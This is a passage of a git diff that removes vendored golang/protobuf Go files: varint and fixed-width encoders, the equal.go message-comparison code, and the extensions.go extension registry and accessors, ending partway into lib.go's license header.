struct with a oneof field containing a nil element. - errOneofHasNil = errors.New("proto: oneof field has nil value") - - // ErrNil is the error returned if Marshal is called with nil. - ErrNil = errors.New("proto: Marshal called with nil") - - // ErrTooLarge is the error returned if Marshal is called with a - // message that encodes to >2GB. - ErrTooLarge = errors.New("proto: message encodes to over 2 GB") -) - -// The fundamental encoders that put bytes on the wire. -// Those that take integer types all accept uint64 and are -// therefore of type valueEncoder. - -const maxVarintBytes = 10 // maximum length of a varint - -// EncodeVarint returns the varint encoding of x. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -// Not used by the package itself, but helpful to clients -// wishing to use the same encoding. -func EncodeVarint(x uint64) []byte { - var buf [maxVarintBytes]byte - var n int - for n = 0; x > 127; n++ { - buf[n] = 0x80 | uint8(x&0x7F) - x >>= 7 - } - buf[n] = uint8(x) - n++ - return buf[0:n] -} - -// EncodeVarint writes a varint-encoded integer to the Buffer. -// This is the format for the -// int32, int64, uint32, uint64, bool, and enum -// protocol buffer types. -func (p *Buffer) EncodeVarint(x uint64) error { - for x >= 1<<7 { - p.buf = append(p.buf, uint8(x&0x7f|0x80)) - x >>= 7 - } - p.buf = append(p.buf, uint8(x)) - return nil -} - -// SizeVarint returns the varint encoding size of an integer. -func SizeVarint(x uint64) int { - switch { - case x < 1<<7: - return 1 - case x < 1<<14: - return 2 - case x < 1<<21: - return 3 - case x < 1<<28: - return 4 - case x < 1<<35: - return 5 - case x < 1<<42: - return 6 - case x < 1<<49: - return 7 - case x < 1<<56: - return 8 - case x < 1<<63: - return 9 - } - return 10 -} - -// EncodeFixed64 writes a 64-bit integer to the Buffer. -// This is the format for the -// fixed64, sfixed64, and double protocol buffer types. -func (p *Buffer) EncodeFixed64(x uint64) error { - p.buf = append(p.buf, - uint8(x), - uint8(x>>8), - uint8(x>>16), - uint8(x>>24), - uint8(x>>32), - uint8(x>>40), - uint8(x>>48), - uint8(x>>56)) - return nil -} - -// EncodeFixed32 writes a 32-bit integer to the Buffer. -// This is the format for the -// fixed32, sfixed32, and float protocol buffer types. -func (p *Buffer) EncodeFixed32(x uint64) error { - p.buf = append(p.buf, - uint8(x), - uint8(x>>8), - uint8(x>>16), - uint8(x>>24)) - return nil -} - -// EncodeZigzag64 writes a zigzag-encoded 64-bit integer -// to the Buffer. -// This is the format used for the sint64 protocol buffer type. -func (p *Buffer) EncodeZigzag64(x uint64) error { - // use signed number to get arithmetic right shift. - return p.EncodeVarint(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} - -// EncodeZigzag32 writes a zigzag-encoded 32-bit integer -// to the Buffer. -// This is the format used for the sint32 protocol buffer type. -func (p *Buffer) EncodeZigzag32(x uint64) error { - // use signed number to get arithmetic right shift. - return p.EncodeVarint(uint64((uint32(x) << 1) ^ uint32((int32(x) >> 31)))) -} - -// EncodeRawBytes writes a count-delimited byte buffer to the Buffer. -// This is the format used for the bytes protocol buffer -// type and for embedded messages. -func (p *Buffer) EncodeRawBytes(b []byte) error { - p.EncodeVarint(uint64(len(b))) - p.buf = append(p.buf, b...) - return nil -} - -// EncodeStringBytes writes an encoded string to the Buffer. -// This is the format used for the proto2 string type. -func (p *Buffer) EncodeStringBytes(s string) error { - p.EncodeVarint(uint64(len(s))) - p.buf = append(p.buf, s...) - return nil -} - -// Marshaler is the interface representing objects that can marshal themselves. -type Marshaler interface { - Marshal() ([]byte, error) -} - -// EncodeMessage writes the protocol buffer to the Buffer, -// prefixed by a varint-encoded length. -func (p *Buffer) EncodeMessage(pb Message) error { - siz := Size(pb) - p.EncodeVarint(uint64(siz)) - return p.Marshal(pb) -} - -// All protocol buffer fields are nillable, but be careful. -func isNil(v reflect.Value) bool { - switch v.Kind() { - case reflect.Interface, reflect.Map, reflect.Ptr, reflect.Slice: - return v.IsNil() - } - return false -} diff --git a/vendor/github.com/golang/protobuf/proto/equal.go b/vendor/github.com/golang/protobuf/proto/equal.go deleted file mode 100644 index f9b6e41b3c..0000000000 --- a/vendor/github.com/golang/protobuf/proto/equal.go +++ /dev/null @@ -1,301 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2011 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Protocol buffer comparison. - -package proto - -import ( - "bytes" - "log" - "reflect" - "strings" -) - -/* -Equal returns true iff protocol buffers a and b are equal. -The arguments must both be pointers to protocol buffer structs. - -Equality is defined in this way: - - Two messages are equal iff they are the same type, - corresponding fields are equal, unknown field sets - are equal, and extensions sets are equal. - - Two set scalar fields are equal iff their values are equal. - If the fields are of a floating-point type, remember that - NaN != x for all x, including NaN. If the message is defined - in a proto3 .proto file, fields are not "set"; specifically, - zero length proto3 "bytes" fields are equal (nil == {}). - - Two repeated fields are equal iff their lengths are the same, - and their corresponding elements are equal. Note a "bytes" field, - although represented by []byte, is not a repeated field and the - rule for the scalar fields described above applies. - - Two unset fields are equal. - - Two unknown field sets are equal if their current - encoded state is equal. - - Two extension sets are equal iff they have corresponding - elements that are pairwise equal. - - Two map fields are equal iff their lengths are the same, - and they contain the same set of elements. Zero-length map - fields are equal. - - Every other combination of things are not equal. - -The return value is undefined if a and b are not protocol buffers. -*/ -func Equal(a, b Message) bool { - if a == nil || b == nil { - return a == b - } - v1, v2 := reflect.ValueOf(a), reflect.ValueOf(b) - if v1.Type() != v2.Type() { - return false - } - if v1.Kind() == reflect.Ptr { - if v1.IsNil() { - return v2.IsNil() - } - if v2.IsNil() { - return false - } - v1, v2 = v1.Elem(), v2.Elem() - } - if v1.Kind() != reflect.Struct { - return false - } - return equalStruct(v1, v2) -} - -// v1 and v2 are known to have the same type. -func equalStruct(v1, v2 reflect.Value) bool { - sprop := GetProperties(v1.Type()) - for i := 0; i < v1.NumField(); i++ { - f := v1.Type().Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - f1, f2 := v1.Field(i), v2.Field(i) - if f.Type.Kind() == reflect.Ptr { - if n1, n2 := f1.IsNil(), f2.IsNil(); n1 && n2 { - // both unset - continue - } else if n1 != n2 { - // set/unset mismatch - return false - } - f1, f2 = f1.Elem(), f2.Elem() - } - if !equalAny(f1, f2, sprop.Prop[i]) { - return false - } - } - - if em1 := v1.FieldByName("XXX_InternalExtensions"); em1.IsValid() { - em2 := v2.FieldByName("XXX_InternalExtensions") - if !equalExtensions(v1.Type(), em1.Interface().(XXX_InternalExtensions), em2.Interface().(XXX_InternalExtensions)) { - return false - } - } - - if em1 := v1.FieldByName("XXX_extensions"); em1.IsValid() { - em2 := v2.FieldByName("XXX_extensions") - if !equalExtMap(v1.Type(), em1.Interface().(map[int32]Extension), em2.Interface().(map[int32]Extension)) { - return false - } - } - - uf := v1.FieldByName("XXX_unrecognized") - if !uf.IsValid() { - return true - } - - u1 := uf.Bytes() - u2 := v2.FieldByName("XXX_unrecognized").Bytes() - return bytes.Equal(u1, u2) -} - -// v1 and v2 are known to have the same type. -// prop may be nil. -func equalAny(v1, v2 reflect.Value, prop *Properties) bool { - if v1.Type() == protoMessageType { - m1, _ := v1.Interface().(Message) - m2, _ := v2.Interface().(Message) - return Equal(m1, m2) - } - switch v1.Kind() { - case reflect.Bool: - return v1.Bool() == v2.Bool() - case reflect.Float32, reflect.Float64: - return v1.Float() == v2.Float() - case reflect.Int32, reflect.Int64: - return v1.Int() == v2.Int() - case reflect.Interface: - // Probably a oneof field; compare the inner values. - n1, n2 := v1.IsNil(), v2.IsNil() - if n1 || n2 { - return n1 == n2 - } - e1, e2 := v1.Elem(), v2.Elem() - if e1.Type() != e2.Type() { - return false - } - return equalAny(e1, e2, nil) - case reflect.Map: - if v1.Len() != v2.Len() { - return false - } - for _, key := range v1.MapKeys() { - val2 := v2.MapIndex(key) - if !val2.IsValid() { - // This key was not found in the second map. - return false - } - if !equalAny(v1.MapIndex(key), val2, nil) { - return false - } - } - return true - case reflect.Ptr: - // Maps may have nil values in them, so check for nil. - if v1.IsNil() && v2.IsNil() { - return true - } - if v1.IsNil() != v2.IsNil() { - return false - } - return equalAny(v1.Elem(), v2.Elem(), prop) - case reflect.Slice: - if v1.Type().Elem().Kind() == reflect.Uint8 { - // short circuit: []byte - - // Edge case: if this is in a proto3 message, a zero length - // bytes field is considered the zero value. - if prop != nil && prop.proto3 && v1.Len() == 0 && v2.Len() == 0 { - return true - } - if v1.IsNil() != v2.IsNil() { - return false - } - return bytes.Equal(v1.Interface().([]byte), v2.Interface().([]byte)) - } - - if v1.Len() != v2.Len() { - return false - } - for i := 0; i < v1.Len(); i++ { - if !equalAny(v1.Index(i), v2.Index(i), prop) { - return false - } - } - return true - case reflect.String: - return v1.Interface().(string) == v2.Interface().(string) - case reflect.Struct: - return equalStruct(v1, v2) - case reflect.Uint32, reflect.Uint64: - return v1.Uint() == v2.Uint() - } - - // unknown type, so not a protocol buffer - log.Printf("proto: don't know how to compare %v", v1) - return false -} - -// base is the struct type that the extensions are based on. -// x1 and x2 are InternalExtensions. -func equalExtensions(base reflect.Type, x1, x2 XXX_InternalExtensions) bool { - em1, _ := x1.extensionsRead() - em2, _ := x2.extensionsRead() - return equalExtMap(base, em1, em2) -} - -func equalExtMap(base reflect.Type, em1, em2 map[int32]Extension) bool { - if len(em1) != len(em2) { - return false - } - - for extNum, e1 := range em1 { - e2, ok := em2[extNum] - if !ok { - return false - } - - m1 := extensionAsLegacyType(e1.value) - m2 := extensionAsLegacyType(e2.value) - - if m1 == nil && m2 == nil { - // Both have only encoded form. - if bytes.Equal(e1.enc, e2.enc) { - continue - } - // The bytes are different, but the extensions might still be - // equal. We need to decode them to compare. - } - - if m1 != nil && m2 != nil { - // Both are unencoded. - if !equalAny(reflect.ValueOf(m1), reflect.ValueOf(m2), nil) { - return false - } - continue - } - - // At least one is encoded. To do a semantically correct comparison - // we need to unmarshal them first. - var desc *ExtensionDesc - if m := extensionMaps[base]; m != nil { - desc = m[extNum] - } - if desc == nil { - // If both have only encoded form and the bytes are the same, - // it is handled above. We get here when the bytes are different. - // We don't know how to decode it, so just compare them as byte - // slices. - log.Printf("proto: don't know how to compare extension %d of %v", extNum, base) - return false - } - var err error - if m1 == nil { - m1, err = decodeExtension(e1.enc, desc) - } - if m2 == nil && err == nil { - m2, err = decodeExtension(e2.enc, desc) - } - if err != nil { - // The encoded form is invalid. - log.Printf("proto: badly encoded extension %d of %v: %v", extNum, base, err) - return false - } - if !equalAny(reflect.ValueOf(m1), reflect.ValueOf(m2), nil) { - return false - } - } - - return true -} diff --git a/vendor/github.com/golang/protobuf/proto/extensions.go b/vendor/github.com/golang/protobuf/proto/extensions.go deleted file mode 100644 index fa88add30a..0000000000 --- a/vendor/github.com/golang/protobuf/proto/extensions.go +++ /dev/null @@ -1,607 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -/* - * Types and routines for supporting protocol buffer extensions. - */ - -import ( - "errors" - "fmt" - "io" - "reflect" - "strconv" - "sync" -) - -// ErrMissingExtension is the error returned by GetExtension if the named extension is not in the message. -var ErrMissingExtension = errors.New("proto: missing extension") - -// ExtensionRange represents a range of message extensions for a protocol buffer. -// Used in code generated by the protocol compiler. -type ExtensionRange struct { - Start, End int32 // both inclusive -} - -// extendableProto is an interface implemented by any protocol buffer generated by the current -// proto compiler that may be extended. -type extendableProto interface { - Message - ExtensionRangeArray() []ExtensionRange - extensionsWrite() map[int32]Extension - extensionsRead() (map[int32]Extension, sync.Locker) -} - -// extendableProtoV1 is an interface implemented by a protocol buffer generated by the previous -// version of the proto compiler that may be extended. -type extendableProtoV1 interface { - Message - ExtensionRangeArray() []ExtensionRange - ExtensionMap() map[int32]Extension -} - -// extensionAdapter is a wrapper around extendableProtoV1 that implements extendableProto. -type extensionAdapter struct { - extendableProtoV1 -} - -func (e extensionAdapter) extensionsWrite() map[int32]Extension { - return e.ExtensionMap() -} - -func (e extensionAdapter) extensionsRead() (map[int32]Extension, sync.Locker) { - return e.ExtensionMap(), notLocker{} -} - -// notLocker is a sync.Locker whose Lock and Unlock methods are nops. -type notLocker struct{} - -func (n notLocker) Lock() {} -func (n notLocker) Unlock() {} - -// extendable returns the extendableProto interface for the given generated proto message. -// If the proto message has the old extension format, it returns a wrapper that implements -// the extendableProto interface. -func extendable(p interface{}) (extendableProto, error) { - switch p := p.(type) { - case extendableProto: - if isNilPtr(p) { - return nil, fmt.Errorf("proto: nil %T is not extendable", p) - } - return p, nil - case extendableProtoV1: - if isNilPtr(p) { - return nil, fmt.Errorf("proto: nil %T is not extendable", p) - } - return extensionAdapter{p}, nil - } - // Don't allocate a specific error containing %T: - // this is the hot path for Clone and MarshalText. - return nil, errNotExtendable -} - -var errNotExtendable = errors.New("proto: not an extendable proto.Message") - -func isNilPtr(x interface{}) bool { - v := reflect.ValueOf(x) - return v.Kind() == reflect.Ptr && v.IsNil() -} - -// XXX_InternalExtensions is an internal representation of proto extensions. -// -// Each generated message struct type embeds an anonymous XXX_InternalExtensions field, -// thus gaining the unexported 'extensions' method, which can be called only from the proto package. -// -// The methods of XXX_InternalExtensions are not concurrency safe in general, -// but calls to logically read-only methods such as has and get may be executed concurrently. -type XXX_InternalExtensions struct { - // The struct must be indirect so that if a user inadvertently copies a - // generated message and its embedded XXX_InternalExtensions, they - // avoid the mayhem of a copied mutex. - // - // The mutex serializes all logically read-only operations to p.extensionMap. - // It is up to the client to ensure that write operations to p.extensionMap are - // mutually exclusive with other accesses. - p *struct { - mu sync.Mutex - extensionMap map[int32]Extension - } -} - -// extensionsWrite returns the extension map, creating it on first use. -func (e *XXX_InternalExtensions) extensionsWrite() map[int32]Extension { - if e.p == nil { - e.p = new(struct { - mu sync.Mutex - extensionMap map[int32]Extension - }) - e.p.extensionMap = make(map[int32]Extension) - } - return e.p.extensionMap -} - -// extensionsRead returns the extensions map for read-only use. It may be nil. -// The caller must hold the returned mutex's lock when accessing Elements within the map. -func (e *XXX_InternalExtensions) extensionsRead() (map[int32]Extension, sync.Locker) { - if e.p == nil { - return nil, nil - } - return e.p.extensionMap, &e.p.mu -} - -// ExtensionDesc represents an extension specification. -// Used in generated code from the protocol compiler. -type ExtensionDesc struct { - ExtendedType Message // nil pointer to the type that is being extended - ExtensionType interface{} // nil pointer to the extension type - Field int32 // field number - Name string // fully-qualified name of extension, for text formatting - Tag string // protobuf tag style - Filename string // name of the file in which the extension is defined -} - -func (ed *ExtensionDesc) repeated() bool { - t := reflect.TypeOf(ed.ExtensionType) - return t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 -} - -// Extension represents an extension in a message. -type Extension struct { - // When an extension is stored in a message using SetExtension - // only desc and value are set. When the message is marshaled - // enc will be set to the encoded form of the message. - // - // When a message is unmarshaled and contains extensions, each - // extension will have only enc set. When such an extension is - // accessed using GetExtension (or GetExtensions) desc and value - // will be set. - desc *ExtensionDesc - - // value is a concrete value for the extension field. Let the type of - // desc.ExtensionType be the "API type" and the type of Extension.value - // be the "storage type". The API type and storage type are the same except: - // * For scalars (except []byte), the API type uses *T, - // while the storage type uses T. - // * For repeated fields, the API type uses []T, while the storage type - // uses *[]T. - // - // The reason for the divergence is so that the storage type more naturally - // matches what is expected of when retrieving the values through the - // protobuf reflection APIs. - // - // The value may only be populated if desc is also populated. - value interface{} - - // enc is the raw bytes for the extension field. - enc []byte -} - -// SetRawExtension is for testing only. -func SetRawExtension(base Message, id int32, b []byte) { - epb, err := extendable(base) - if err != nil { - return - } - extmap := epb.extensionsWrite() - extmap[id] = Extension{enc: b} -} - -// isExtensionField returns true iff the given field number is in an extension range. -func isExtensionField(pb extendableProto, field int32) bool { - for _, er := range pb.ExtensionRangeArray() { - if er.Start <= field && field <= er.End { - return true - } - } - return false -} - -// checkExtensionTypes checks that the given extension is valid for pb. -func checkExtensionTypes(pb extendableProto, extension *ExtensionDesc) error { - var pbi interface{} = pb - // Check the extended type. - if ea, ok := pbi.(extensionAdapter); ok { - pbi = ea.extendableProtoV1 - } - if a, b := reflect.TypeOf(pbi), reflect.TypeOf(extension.ExtendedType); a != b { - return fmt.Errorf("proto: bad extended type; %v does not extend %v", b, a) - } - // Check the range. - if !isExtensionField(pb, extension.Field) { - return errors.New("proto: bad extension number; not in declared ranges") - } - return nil -} - -// extPropKey is sufficient to uniquely identify an extension. -type extPropKey struct { - base reflect.Type - field int32 -} - -var extProp = struct { - sync.RWMutex - m map[extPropKey]*Properties -}{ - m: make(map[extPropKey]*Properties), -} - -func extensionProperties(ed *ExtensionDesc) *Properties { - key := extPropKey{base: reflect.TypeOf(ed.ExtendedType), field: ed.Field} - - extProp.RLock() - if prop, ok := extProp.m[key]; ok { - extProp.RUnlock() - return prop - } - extProp.RUnlock() - - extProp.Lock() - defer extProp.Unlock() - // Check again. - if prop, ok := extProp.m[key]; ok { - return prop - } - - prop := new(Properties) - prop.Init(reflect.TypeOf(ed.ExtensionType), "unknown_name", ed.Tag, nil) - extProp.m[key] = prop - return prop -} - -// HasExtension returns whether the given extension is present in pb. -func HasExtension(pb Message, extension *ExtensionDesc) bool { - // TODO: Check types, field numbers, etc.? - epb, err := extendable(pb) - if err != nil { - return false - } - extmap, mu := epb.extensionsRead() - if extmap == nil { - return false - } - mu.Lock() - _, ok := extmap[extension.Field] - mu.Unlock() - return ok -} - -// ClearExtension removes the given extension from pb. -func ClearExtension(pb Message, extension *ExtensionDesc) { - epb, err := extendable(pb) - if err != nil { - return - } - // TODO: Check types, field numbers, etc.? - extmap := epb.extensionsWrite() - delete(extmap, extension.Field) -} - -// GetExtension retrieves a proto2 extended field from pb. -// -// If the descriptor is type complete (i.e., ExtensionDesc.ExtensionType is non-nil), -// then GetExtension parses the encoded field and returns a Go value of the specified type. -// If the field is not present, then the default value is returned (if one is specified), -// otherwise ErrMissingExtension is reported. -// -// If the descriptor is not type complete (i.e., ExtensionDesc.ExtensionType is nil), -// then GetExtension returns the raw encoded bytes of the field extension. -func GetExtension(pb Message, extension *ExtensionDesc) (interface{}, error) { - epb, err := extendable(pb) - if err != nil { - return nil, err - } - - if extension.ExtendedType != nil { - // can only check type if this is a complete descriptor - if err := checkExtensionTypes(epb, extension); err != nil { - return nil, err - } - } - - emap, mu := epb.extensionsRead() - if emap == nil { - return defaultExtensionValue(extension) - } - mu.Lock() - defer mu.Unlock() - e, ok := emap[extension.Field] - if !ok { - // defaultExtensionValue returns the default value or - // ErrMissingExtension if there is no default. - return defaultExtensionValue(extension) - } - - if e.value != nil { - // Already decoded. Check the descriptor, though. - if e.desc != extension { - // This shouldn't happen. If it does, it means that - // GetExtension was called twice with two different - // descriptors with the same field number. - return nil, errors.New("proto: descriptor conflict") - } - return extensionAsLegacyType(e.value), nil - } - - if extension.ExtensionType == nil { - // incomplete descriptor - return e.enc, nil - } - - v, err := decodeExtension(e.enc, extension) - if err != nil { - return nil, err - } - - // Remember the decoded version and drop the encoded version. - // That way it is safe to mutate what we return. - e.value = extensionAsStorageType(v) - e.desc = extension - e.enc = nil - emap[extension.Field] = e - return extensionAsLegacyType(e.value), nil -} - -// defaultExtensionValue returns the default value for extension. -// If no default for an extension is defined ErrMissingExtension is returned. -func defaultExtensionValue(extension *ExtensionDesc) (interface{}, error) { - if extension.ExtensionType == nil { - // incomplete descriptor, so no default - return nil, ErrMissingExtension - } - - t := reflect.TypeOf(extension.ExtensionType) - props := extensionProperties(extension) - - sf, _, err := fieldDefault(t, props) - if err != nil { - return nil, err - } - - if sf == nil || sf.value == nil { - // There is no default value. - return nil, ErrMissingExtension - } - - if t.Kind() != reflect.Ptr { - // We do not need to return a Ptr, we can directly return sf.value. - return sf.value, nil - } - - // We need to return an interface{} that is a pointer to sf.value. - value := reflect.New(t).Elem() - value.Set(reflect.New(value.Type().Elem())) - if sf.kind == reflect.Int32 { - // We may have an int32 or an enum, but the underlying data is int32. - // Since we can't set an int32 into a non int32 reflect.value directly - // set it as a int32. - value.Elem().SetInt(int64(sf.value.(int32))) - } else { - value.Elem().Set(reflect.ValueOf(sf.value)) - } - return value.Interface(), nil -} - -// decodeExtension decodes an extension encoded in b. -func decodeExtension(b []byte, extension *ExtensionDesc) (interface{}, error) { - t := reflect.TypeOf(extension.ExtensionType) - unmarshal := typeUnmarshaler(t, extension.Tag) - - // t is a pointer to a struct, pointer to basic type or a slice. - // Allocate space to store the pointer/slice. - value := reflect.New(t).Elem() - - var err error - for { - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - wire := int(x) & 7 - - b, err = unmarshal(b, valToPointer(value.Addr()), wire) - if err != nil { - return nil, err - } - - if len(b) == 0 { - break - } - } - return value.Interface(), nil -} - -// GetExtensions returns a slice of the extensions present in pb that are also listed in es. -// The returned slice has the same length as es; missing extensions will appear as nil elements. -func GetExtensions(pb Message, es []*ExtensionDesc) (extensions []interface{}, err error) { - epb, err := extendable(pb) - if err != nil { - return nil, err - } - extensions = make([]interface{}, len(es)) - for i, e := range es { - extensions[i], err = GetExtension(epb, e) - if err == ErrMissingExtension { - err = nil - } - if err != nil { - return - } - } - return -} - -// ExtensionDescs returns a new slice containing pb's extension descriptors, in undefined order. -// For non-registered extensions, ExtensionDescs returns an incomplete descriptor containing -// just the Field field, which defines the extension's field number. -func ExtensionDescs(pb Message) ([]*ExtensionDesc, error) { - epb, err := extendable(pb) - if err != nil { - return nil, err - } - registeredExtensions := RegisteredExtensions(pb) - - emap, mu := epb.extensionsRead() - if emap == nil { - return nil, nil - } - mu.Lock() - defer mu.Unlock() - extensions := make([]*ExtensionDesc, 0, len(emap)) - for extid, e := range emap { - desc := e.desc - if desc == nil { - desc = registeredExtensions[extid] - if desc == nil { - desc = &ExtensionDesc{Field: extid} - } - } - - extensions = append(extensions, desc) - } - return extensions, nil -} - -// SetExtension sets the specified extension of pb to the specified value. -func SetExtension(pb Message, extension *ExtensionDesc, value interface{}) error { - epb, err := extendable(pb) - if err != nil { - return err - } - if err := checkExtensionTypes(epb, extension); err != nil { - return err - } - typ := reflect.TypeOf(extension.ExtensionType) - if typ != reflect.TypeOf(value) { - return fmt.Errorf("proto: bad extension value type. got: %T, want: %T", value, extension.ExtensionType) - } - // nil extension values need to be caught early, because the - // encoder can't distinguish an ErrNil due to a nil extension - // from an ErrNil due to a missing field. Extensions are - // always optional, so the encoder would just swallow the error - // and drop all the extensions from the encoded message. - if reflect.ValueOf(value).IsNil() { - return fmt.Errorf("proto: SetExtension called with nil value of type %T", value) - } - - extmap := epb.extensionsWrite() - extmap[extension.Field] = Extension{desc: extension, value: extensionAsStorageType(value)} - return nil -} - -// ClearAllExtensions clears all extensions from pb. -func ClearAllExtensions(pb Message) { - epb, err := extendable(pb) - if err != nil { - return - } - m := epb.extensionsWrite() - for k := range m { - delete(m, k) - } -} - -// A global registry of extensions. -// The generated code will register the generated descriptors by calling RegisterExtension. - -var extensionMaps = make(map[reflect.Type]map[int32]*ExtensionDesc) - -// RegisterExtension is called from the generated code. -func RegisterExtension(desc *ExtensionDesc) { - st := reflect.TypeOf(desc.ExtendedType).Elem() - m := extensionMaps[st] - if m == nil { - m = make(map[int32]*ExtensionDesc) - extensionMaps[st] = m - } - if _, ok := m[desc.Field]; ok { - panic("proto: duplicate extension registered: " + st.String() + " " + strconv.Itoa(int(desc.Field))) - } - m[desc.Field] = desc -} - -// RegisteredExtensions returns a map of the registered extensions of a -// protocol buffer struct, indexed by the extension number. -// The argument pb should be a nil pointer to the struct type. -func RegisteredExtensions(pb Message) map[int32]*ExtensionDesc { - return extensionMaps[reflect.TypeOf(pb).Elem()] -} - -// extensionAsLegacyType converts an value in the storage type as the API type. -// See Extension.value. -func extensionAsLegacyType(v interface{}) interface{} { - switch rv := reflect.ValueOf(v); rv.Kind() { - case reflect.Bool, reflect.Int32, reflect.Int64, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String: - // Represent primitive types as a pointer to the value. - rv2 := reflect.New(rv.Type()) - rv2.Elem().Set(rv) - v = rv2.Interface() - case reflect.Ptr: - // Represent slice types as the value itself. - switch rv.Type().Elem().Kind() { - case reflect.Slice: - if rv.IsNil() { - v = reflect.Zero(rv.Type().Elem()).Interface() - } else { - v = rv.Elem().Interface() - } - } - } - return v -} - -// extensionAsStorageType converts an value in the API type as the storage type. -// See Extension.value. -func extensionAsStorageType(v interface{}) interface{} { - switch rv := reflect.ValueOf(v); rv.Kind() { - case reflect.Ptr: - // Represent slice types as the value itself. - switch rv.Type().Elem().Kind() { - case reflect.Bool, reflect.Int32, reflect.Int64, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String: - if rv.IsNil() { - v = reflect.Zero(rv.Type().Elem()).Interface() - } else { - v = rv.Elem().Interface() - } - } - case reflect.Slice: - // Represent slice types as a pointer to the value. - if rv.Type().Elem().Kind() != reflect.Uint8 { - rv2 := reflect.New(rv.Type()) - rv2.Elem().Set(rv) - v = rv2.Interface() - } - } - return v -} diff --git a/vendor/github.com/golang/protobuf/proto/lib.go b/vendor/github.com/golang/protobuf/proto/lib.go deleted file mode 100644 index fdd328bb7f..0000000000 --- a/vendor/github.com/golang/protobuf/proto/lib.go +++ /dev/null @@ -1,965 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 